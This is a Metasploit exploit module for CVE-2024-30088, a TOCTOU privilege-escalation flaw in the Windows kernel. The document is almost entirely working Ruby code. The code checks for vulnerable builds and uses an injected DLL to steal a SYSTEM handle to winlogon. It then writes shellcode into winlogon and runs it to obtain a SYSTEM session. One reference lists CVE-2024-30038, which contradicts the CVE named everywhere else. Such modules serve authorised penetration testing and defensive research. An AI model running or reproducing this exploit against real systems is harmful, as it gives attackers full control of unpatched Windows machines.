Microsoft Windows TOCTOU Local Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::Local::WindowsKernel  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
include Msf::Post::Windows::ReflectiveDLLInjection  
include Msf::Post::Windows::Version  
include Msf::Exploit::Retry  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes',  
'Description' => %q{  
CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,  
Windows 11 and Windows Server 2022.  
  
The vulnerability exists inside the function called `AuthzBasepCopyoutInternalSecurityAttributes` specifically when  
the kernel copies the `_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION` of the current token object to user mode. When the  
kernel preforms the copy of the `SecurityAttributesList`, it sets up the list of the SecurityAttribute's structure  
directly to the user supplied pointed. It then calls `RtlCopyUnicodeString` and  
`AuthzBasepCopyoutInternalSecurityAttributeValues` to copy out the names and values of the `SecurityAttribute` leading  
to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.  
},  
'Author' => [  
'tykawaii98', # PoC (Bùi Quang Hiếu)  
'jheysel-r7' # msf module  
],  
'References' => [  
[ 'URL', 'https://github.com/tykawaii98/CVE-2024-30088'],  
[ 'CVE', '2024-30038']  
],  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Privileged' => true,  
'SessionTypes' => [ 'meterpreter' ],  
'Arch' => [ ARCH_X64 ],  
'Targets' => [  
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]  
],  
'DisclosureDate' => '2024-06-11',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, ],  
'Reliability' => [UNRELIABLE_SESSION] # It should return a session on the first run although has the potential to fail.  
}, # After the first run the original session will usually die if the module is rerun against the same session.  
'Compat' => {  
'Meterpreter' => {  
'Commands' => %w[  
stdapi_sys_process_get_processes  
stdapi_railgun_api  
stdapi_sys_process_memory_allocate  
stdapi_sys_process_memory_protect  
stdapi_sys_process_memory_read  
stdapi_sys_process_memory_write  
]  
}  
}  
)  
)  
end  
  
def target_compatible?(version)  
# NOTE: Win10_1607 = Server2016 and Win10_1809 = Server2019. Both Server and Desktop version are supposed to be affected.  
return true if version.build_number.between?(Msf::WindowsVersion::Win10_1507, Rex::Version.new('10.0.10240.20680')) ||  
version.build_number.between?(Msf::WindowsVersion::Win10_1607, Rex::Version.new('10.0.14393.7070')) ||  
version.build_number.between?(Msf::WindowsVersion::Win10_1809, Rex::Version.new('10.0.17763.5936')) ||  
version.build_number.between?(Msf::WindowsVersion::Win10_21H2, Rex::Version.new('10.0.19044.4529')) ||  
version.build_number.between?(Msf::WindowsVersion::Win10_22H2, Rex::Version.new('10.0.19045.4529')) ||  
version.build_number.between?(Msf::WindowsVersion::Win11_21H2, Rex::Version.new('10.0.22000.3019')) ||  
version.build_number.between?(Msf::WindowsVersion::Win11_22H2, Rex::Version.new('10.0.22621.3737')) ||  
version.build_number.between?(Msf::WindowsVersion::Win11_23H2, Rex::Version.new('10.0.22631.3737')) ||  
version.build_number.between?(Msf::WindowsVersion::Server2022, Rex::Version.new('10.0.20348.2522')) ||  
version.build_number.between?(Msf::WindowsVersion::Server2022_23H2, Rex::Version.new('10.0.25398.950'))  
  
false  
end  
  
def check  
return Exploit::CheckCode::Safe('Non Windows systems are not affected') unless session.platform == 'windows'  
  
version = get_version_info  
return Exploit::CheckCode::Appears("Version detected: #{version}") if target_compatible?(version)  
  
CheckCode::Safe("Version detected: #{version}")  
end  
  
def get_winlogon_pid  
processes = client.sys.process.get_processes  
winlogon_pid = nil  
processes.each do |process|  
if process['name'].downcase == 'winlogon.exe'  
winlogon_pid = process['pid']  
break  
end  
end  
  
winlogon_pid  
end  
  
def get_winlogon_handle  
pid = session.sys.process.getpid  
process_handle = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)  
address = process_handle.memory.allocate(8)  
  
thread = execute_dll(  
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-30088', 'CVE-2024-30088.x64.dll'),  
address,  
pid  
)  
  
calls = [  
['kernel32', 'WaitForSingleObject', [ thread.handle, 20000 ] ],  
['kernel32', 'GetExitCodeThread', [ thread.handle, 4 ] ],  
]  
  
results = session.railgun.multi(calls)  
winlogon_handle = nil  
  
if results.last['lpExitCode'] == 0  
print_good('The exploit was successful, reading SYSTEM token from memory...')  
current_memory = process_handle.memory.read(address, 8)  
winlogon_handle = current_memory.unpack('Q<').first  
end  
  
session.railgun.kernel32.VirtualFree(address, 0, MEM_RELEASE)  
winlogon_handle  
end  
  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
version = get_version_info  
unless target_compatible?(version)  
fail_with(Failure::NoTarget, "The exploit does not support this version of Windows: #{version}")  
end  
  
winlogon_handle = get_winlogon_handle  
fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon handle') unless winlogon_handle  
print_good("Successfully stole winlogon handle: #{winlogon_handle}")  
  
winlogon_pid = get_winlogon_pid  
fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon pid') unless winlogon_pid  
print_good("Successfully retrieved winlogon pid: #{winlogon_pid}")  
  
host = session.sys.process.new(winlogon_pid, winlogon_handle)  
shellcode = payload.encoded  
shell_addr = host.memory.allocate(shellcode.length)  
host.memory.protect(shell_addr)  
  
if host.memory.write(shell_addr, shellcode) < shellcode.length  
fail_with(Failure::UnexpectedReply, 'Failed to write shellcode')  
end  
  
vprint_status("Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{winlogon_pid})")  
thread = host.thread.create(shell_addr, 0)  
unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread)  
fail_with(Failure::UnexpectedReply, 'Unable to create thread')  
end  
end  
end  
`